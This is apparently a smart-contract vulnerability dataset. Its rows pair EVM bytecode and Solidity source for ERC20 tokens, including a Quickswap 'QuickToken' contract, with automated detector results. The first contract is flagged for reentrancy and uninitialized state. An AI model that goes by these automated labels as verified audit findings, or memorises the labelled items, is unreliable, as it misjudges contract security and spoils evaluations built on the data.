15021790555050565b6116ab838383611725565b505050565b60008060006116bd6118f0565b915091506116d481836116db90919063ffffffff16565b9250505090565b600061171d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061194f565b905092915050565b600080600080600080611737876119b2565b95509550955095509550955061179586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061182a85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061187681611ac2565b6118808483611b7f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118dd91906123d7565b60405180910390a3505050505050505050565b60008060006008549050600067016345785d8a0000905061192467016345785d8a00006008546116db90919063ffffffff16565b8210156119425760085467016345785d8a000093509350505061194b565b81819350935050505b9091565b60008083118290611996576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198d91906122b5565b60405180910390fd5b50600083856119a59190612512565b9050809150509392505050565b60008060008060008060008060006119cf8a600a54600b54611bb9565b92509250925060006119df6116b0565b905060008060006119f28e878787611c4f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a5c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112c3565b905092915050565b6000808284611a7391906124bc565b905083811015611ab8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aaf90612317565b60405180910390fd5b8091505092915050565b6000611acc6116b0565b90506000611ae38284611cd890919063ffffffff16565b9050611b3781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611b9482600854611a1a90919063ffffffff16565b600881905550611baf81600954611a6490919063ffffffff16565b6009819055505050565b600080600080611be56064611bd7888a611cd890919063ffffffff16565b6116db90919063ffffffff16565b90506000611c0f6064611c01888b611cd890919063ffffffff16565b6116db90919063ffffffff16565b90506000611c3882611c2a858c611a1a90919063ffffffff16565b611a1a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c688589611cd890919063ffffffff16565b90506000611c7f8689611cd890919063ffffffff16565b90506000611c968789611cd890919063ffffffff16565b90506000611cbf82611cb18587611a1a90919063ffffffff16565b611a1a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611ceb5760009050611d4d565b60008284611cf99190612543565b9050828482611d089190612512565b14611d48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3f90612337565b60405180910390fd5b809150505b92915050565b600081359050611d6281612943565b92915050565b600081519050611d7781612943565b92915050565b600081359050611d8c8161295a565b92915050565b600081519050611da18161295a565b92915050565b600081359050611db681612971565b92915050565b600081519050611dcb81612971565b92915050565b600060208284031215611de757611de6612727565b5b6000611df584828501611d53565b91505092915050565b600060208284031215611e1457611e13612727565b5b6000611e2284828501611d68565b91505092915050565b60008060408385031215611e4257611e41612727565b5b6000611e5085828601611d53565b9250506020611e6185828601611d53565b9150509250929050565b600080600060608486031215611e8457611e83612727565b5b6000611e9286828701611d53565b9350506020611ea386828701611d53565b9250506040611eb486828701611da7565b9150509250925092565b60008060408385031215611ed557611ed4612727565b5b6000611ee385828601611d53565b9250506020611ef485828601611da7565b9150509250929050565b600060208284031215611f1457611f13612727565b5b6000611f2284828501611d7d565b91505092915050565b600060208284031215611f4157611f40612727565b5b6000611f4f84828501611d92565b91505092915050565b600080600060608486031215611f7157611f70612727565b5b6000611f7f86828701611dbc565b9350506020611f9086828701611dbc565b9250506040611fa186828701611dbc565b9150509250925092565b6000611fb78383611fc3565b60208301905092915050565b611fcc816125d1565b82525050565b611fdb816125d1565b82525050565b6000611fec82612477565b611ff6818561249a565b935061200183612467565b8060005b838110156120325781516120198882611fab565b97506120248361248d565b925050600181019050612005565b5085935050505092915050565b612048816125e3565b82525050565b61205781612626565b82525050565b600061206882612482565b61207281856124ab565b9350612082818560208601612638565b61208b8161272c565b840191505092915050565b60006120a3602a836124ab565b91506120ae8261273d565b604082019050919050565b60006120c66022836124ab565b91506120d18261278c565b604082019050919050565b60006120e9601b836124ab565b91506120f4826127db565b602082019050919050565b600061210c6021836124ab565b915061211782612804565b604082019050919050565b600061212f6020836124ab565b915061213a82612853565b602082019050919050565b60006121526029836124ab565b915061215d8261287c565b604082019050919050565b60006121756024836124ab565b9150612180826128cb565b604082019050919050565b60006121986017836124ab565b91506121a38261291a565b602082019050919050565b6121b78161260f565b82525050565b6121c681612619565b82525050565b60006020820190506121e16000830184611fd2565b92915050565b60006040820190506121fc6000830185611fd2565b6122096020830184611fd2565b9392505050565b60006040820190506122256000830185611fd2565b61223260208301846121ae565b9392505050565b600060c08201905061224e6000830189611fd2565b61225b60208301886121ae565b612268604083018761204e565b612275606083018661204e565b6122826080830185611fd2565b61228f60a08301846121ae565b979650505050505050565b60006020820190506122af600083018461203f565b92915050565b600060208201905081810360008301526122cf818461205d565b905092915050565b600060208201905081810360008301526122f081612096565b9050919050565b60006020820190508181036000830152612310816120b9565b9050919050565b60006020820190508181036000830152612330816120dc565b9050919050565b60006020820190508181036000830152612350816120ff565b9050919050565b6000602082019050818103600083015261237081612122565b9050919050565b6000602082019050818103600083015261239081612145565b9050919050565b600060208201905081810360008301526123b081612168565b9050919050565b600060208201905081810360008301526123d08161218b565b9050919050565b60006020820190506123ec60008301846121ae565b92915050565b600060a08201905061240760008301886121ae565b612414602083018761204e565b81810360408301526124268186611fe1565b90506124356060830185611fd2565b61244260808301846121ae565b9695505050505050565b600060208201905061246160008301846121bd565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006124c78261260f565b91506124d28361260f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125075761250661266b565b5b828201905092915050565b600061251d8261260f565b91506125288361260f565b9250826125385761253761269a565b5b828204905092915050565b600061254e8261260f565b91506125598361260f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156125925761259161266b565b5b828202905092915050565b60006125a88261260f565b91506125b38361260f565b9250828210156125c6576125c561266b565b5b828203905092915050565b60006125dc826125ef565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126318261260f565b9050919050565b60005b8381101561265657808201518184015260208101905061263b565b83811115612665576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61294c816125d1565b811461295757600080fd5b50565b612963816125e3565b811461296e57600080fd5b50565b61297a8161260f565b811461298557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208acc42ae2bb1cb7aece40e564a5b9915bf67664a5b4a6acfb1a3312e8a63e62164736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,593 |
0x6c28aef8977c9b773996d0e8376d2ee379446f2f
|
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract QuickToken {
/// @notice EIP-20 token name for this token
string public constant name = "Quickswap";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "QUICK";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public totalSupply = 1000000000000000000000000; // 1 million QUICK
/// @notice Address which may mint new tokens
address public minter;
/// @notice The timestamp after which minting may occur
uint public mintingAllowedAfter;
/// @notice Minimum time between mints
uint32 public constant minimumTimeBetweenMints = 1 days * 365;
/// @notice Cap on the percentage of totalSupply that can be minted at each mint
uint8 public constant mintCap = 2;
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice An event thats emitted when the minter address is changed
event MinterChanged(address minter, address newMinter);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new Quick token
* @param account The initial account to grant all the tokens
* @param minter_ The account with minting ability
* @param mintingAllowedAfter_ The timestamp after which minting may occur
*/
constructor(address account, address minter_, uint mintingAllowedAfter_) public {
require(mintingAllowedAfter_ >= block.timestamp, "Quick::constructor: minting can only begin after deployment");
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
minter = minter_;
emit MinterChanged(address(0), minter);
mintingAllowedAfter = mintingAllowedAfter_;
}
/**
* @notice Change the minter address
* @param minter_ The address of the new minter
*/
function setMinter(address minter_) external {
require(msg.sender == minter, "Quick::setMinter: only the minter can change the minter address");
emit MinterChanged(minter, minter_);
minter = minter_;
}
/**
* @notice Mint new tokens
* @param dst The address of the destination account
* @param rawAmount The number of tokens to be minted
*/
function mint(address dst, uint rawAmount) external {
require(msg.sender == minter, "Quick::mint: only the minter can mint");
require(block.timestamp >= mintingAllowedAfter, "Quick::mint: minting not allowed yet");
require(dst != address(0), "Quick::mint: cannot transfer to the zero address");
// record the mint
mintingAllowedAfter = SafeMath.add(block.timestamp, minimumTimeBetweenMints);
// mint the amount
uint96 amount = safe96(rawAmount, "Quick::mint: amount exceeds 96 bits");
require(amount <= SafeMath.div(SafeMath.mul(totalSupply, mintCap), 100), "Quick::mint: exceeded mint cap");
totalSupply = safe96(SafeMath.add(totalSupply, amount), "Quick::mint: totalSupply exceeds 96 bits");
// transfer the amount to the recipient
balances[dst] = add96(balances[dst], amount, "Quick::mint: transfer amount overflows");
emit Transfer(address(0), dst, amount);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Quick::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Quick::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Quick::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Quick::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Quick::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Quick::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Quick::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Quick::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806340c10f191161009757806395d89b411161006657806395d89b41146101d7578063a9059cbb146101df578063dd62ed3e146101f2578063fca3b5aa14610205576100f5565b806340c10f19146101925780635c11d62f146101a757806370a08231146101bc57806376c71ca1146101cf576100f5565b806318160ddd116100d357806318160ddd1461014d57806323b872dd1461016257806330b36cef14610175578063313ce5671461017d576100f5565b806306fdde03146100fa5780630754617214610118578063095ea7b31461012d575b600080fd5b610102610218565b60405161010f9190610eed565b60405180910390f35b61012061023d565b60405161010f9190610eb6565b61014061013b366004610b61565b61024c565b60405161010f9190610edf565b61015561030b565b60405161010f9190610f8e565b610140610170366004610b14565b610311565b61015561045a565b610185610460565b60405161010f9190610faa565b6101a56101a0366004610b61565b610465565b005b6101af61065b565b60405161010f9190610f9c565b6101556101ca366004610ab4565b610663565b610185610687565b61010261068c565b6101406101ed366004610b61565b6106ad565b610155610200366004610ada565b6106e9565b6101a5610213366004610ab4565b61071d565b604051806040016040528060098152602001680517569636b737761760bc1b81525081565b6001546001600160a01b031681565b6000806000198314156102625750600019610287565b610284836040518060600160405280602681526020016110c7602691396107b0565b90505b3360008181526003602090815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906102f7908590610fb8565b60405180910390a360019150505b92915050565b60005481565b6001600160a01b03831660009081526003602090815260408083203380855290835281842054825160608101909352602680845291936001600160601b0390911692859261036992889291906110c7908301396107b0565b9050866001600160a01b0316836001600160a01b03161415801561039657506001600160601b0382811614155b156104405760006103c083836040518060600160405280603e815260200161113c603e91396107df565b6001600160a01b038981166000818152600360209081526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610436908590610fb8565b60405180910390a3505b61044b87878361081e565b600193505050505b9392505050565b60025481565b601281565b6001546001600160a01b031633146104985760405162461bcd60e51b815260040161048f90610f2e565b60405180910390fd5b6002544210156104ba5760405162461bcd60e51b815260040161048f90610f4e565b6001600160a01b0382166104e05760405162461bcd60e51b815260040161048f90610f0e565b6104ee426301e1338061098a565b6002819055506000610518826040518060600160405280602381526020016110a4602391396107b0565b905061053461052d600054600260ff166109af565b60646109e9565b816001600160601b0316111561055c5760405162461bcd60e51b815260040161048f90610f3e565b610592610574600054836001600160601b031661098a565b6040518060600160405280602881526020016110ed602891396107b0565b6001600160601b0390811660009081556001600160a01b0385168152600460209081526040918290205482516060810190935260268084526105e4949190911692859290919061117a90830139610a2b565b6001600160a01b03841660008181526004602052604080822080546001600160601b0319166001600160601b03959095169490941790935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061064e908590610fb8565b60405180910390a3505050565b6301e1338081565b6001600160a01b03166000908152600460205260409020546001600160601b031690565b600281565b60405180604001604052806005815260200164515549434b60d81b81525081565b6000806106d283604051806060016040528060278152602001611115602791396107b0565b90506106df33858361081e565b5060019392505050565b6001600160a01b0391821660009081526003602090815260408083209390941682529190915220546001600160601b031690565b6001546001600160a01b031633146107475760405162461bcd60e51b815260040161048f90610efe565b6001546040517f3b0007eb941cf645526cbb3a4fdaecda9d28ce4843167d9263b536a1f1edc0f691610786916001600160a01b03909116908490610ec4565b60405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b600081600160601b84106107d75760405162461bcd60e51b815260040161048f9190610eed565b509192915050565b6000836001600160601b0316836001600160601b0316111582906108165760405162461bcd60e51b815260040161048f9190610eed565b505050900390565b6001600160a01b0383166108445760405162461bcd60e51b815260040161048f90610f5e565b6001600160a01b03821661086a5760405162461bcd60e51b815260040161048f90610f7e565b6001600160a01b0383166000908152600460209081526040918290205482516060810190935260378084526108b5936001600160601b0390921692859291906111a0908301396107df565b6001600160a01b03848116600090815260046020908152604080832080546001600160601b0319166001600160601b0396871617905592861682529082902054825160608101909352603180845261091d949190911692859290919061107390830139610a2b565b6001600160a01b038381166000818152600460205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061064e908590610fb8565b6000828201838110156104535760405162461bcd60e51b815260040161048f90610f1e565b6000826109be57506000610305565b828202828482816109cb57fe5b04146104535760405162461bcd60e51b815260040161048f90610f6e565b600061045383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610a67565b6000838301826001600160601b038087169083161015610a5e5760405162461bcd60e51b815260040161048f9190610eed565b50949350505050565b60008183610a885760405162461bcd60e51b815260040161048f9190610eed565b506000838581610a9457fe5b0495945050505050565b803561030581611052565b803561030581611069565b600060208284031215610ac657600080fd5b6000610ad28484610a9e565b949350505050565b60008060408385031215610aed57600080fd5b6000610af98585610a9e565b9250506020610b0a85828601610a9e565b9150509250929050565b600080600060608486031215610b2957600080fd5b6000610b358686610a9e565b9350506020610b4686828701610a9e565b9250506040610b5786828701610aa9565b9150509250925092565b60008060408385031215610b7457600080fd5b6000610b808585610a9e565b9250506020610b0a85828601610aa9565b610b9a81610fd3565b82525050565b610b9a81610fde565b6000610bb482610fc6565b610bbe8185610fca565b9350610bce818560208601611018565b610bd781611048565b9093019392505050565b6000610bee603f83610fca565b7f517569636b3a3a7365744d696e7465723a206f6e6c7920746865206d696e746581527f722063616e206368616e676520746865206d696e746572206164647265737300602082015260400192915050565b6000610c4d603083610fca565b7f517569636b3a3a6d696e743a2063616e6e6f74207472616e7366657220746f2081526f746865207a65726f206164647265737360801b602082015260400192915050565b6000610c9f601b83610fca565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000815260200192915050565b6000610cd8602583610fca565b7f517569636b3a3a6d696e743a206f6e6c7920746865206d696e7465722063616e815264081b5a5b9d60da1b602082015260400192915050565b6000610d1f601e83610fca565b7f517569636b3a3a6d696e743a206578636565646564206d696e74206361700000815260200192915050565b6000610d58602483610fca565b7f517569636b3a3a6d696e743a206d696e74696e67206e6f7420616c6c6f776564815263081e595d60e21b602082015260400192915050565b6000610d9e603d83610fca565b7f517569636b3a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207481527f72616e736665722066726f6d20746865207a65726f2061646472657373000000602082015260400192915050565b6000610dfd602183610fca565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f8152607760f81b602082015260400192915050565b6000610e40603b83610fca565b7f517569636b3a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207481527f72616e7366657220746f20746865207a65726f20616464726573730000000000602082015260400192915050565b610b9a81610fef565b610b9a81610ff2565b610b9a81610ffb565b610b9a8161100d565b602081016103058284610b91565b60408101610ed28285610b91565b6104536020830184610b91565b602081016103058284610ba0565b602080825281016104538184610ba9565b6020808252810161030581610be1565b6020808252810161030581610c40565b6020808252810161030581610c92565b6020808252810161030581610ccb565b6020808252810161030581610d12565b6020808252810161030581610d4b565b6020808252810161030581610d91565b6020808252810161030581610df0565b6020808252810161030581610e33565b602081016103058284610e92565b602081016103058284610e9b565b602081016103058284610ea4565b602081016103058284610ead565b5190565b90815260200190565b600061030582610fe3565b151590565b6001600160a01b031690565b90565b63ffffffff1690565b60ff1690565b6001600160601b031690565b600061030582611001565b60005b8381101561103357818101518382015260200161101b565b83811115611042576000848401525b50505050565b601f01601f191690565b61105b81610fd3565b811461106657600080fd5b50565b61105b81610fef56fe517569636b3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773517569636b3a3a6d696e743a20616d6f756e7420657863656564732039362062697473517569636b3a3a617070726f76653a20616d6f756e7420657863656564732039362062697473517569636b3a3a6d696e743a20746f74616c537570706c7920657863656564732039362062697473517569636b3a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473517569636b3a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365517569636b3a3a6d696e743a207472616e7366657220616d6f756e74206f766572666c6f7773517569636b3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a365627a7a723158200edfd7acf8a2d3c57f59e4753977902acb42588e53a6bf3420513fcbdde3aac36c6578706572696d656e74616cf564736f6c63430005110040
|
{"success": true, "error": null, "results": {}}
| 3,594 |
0x4845e63ca010c4f0b31e6b2e3ba3597f3fae9095
|
pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
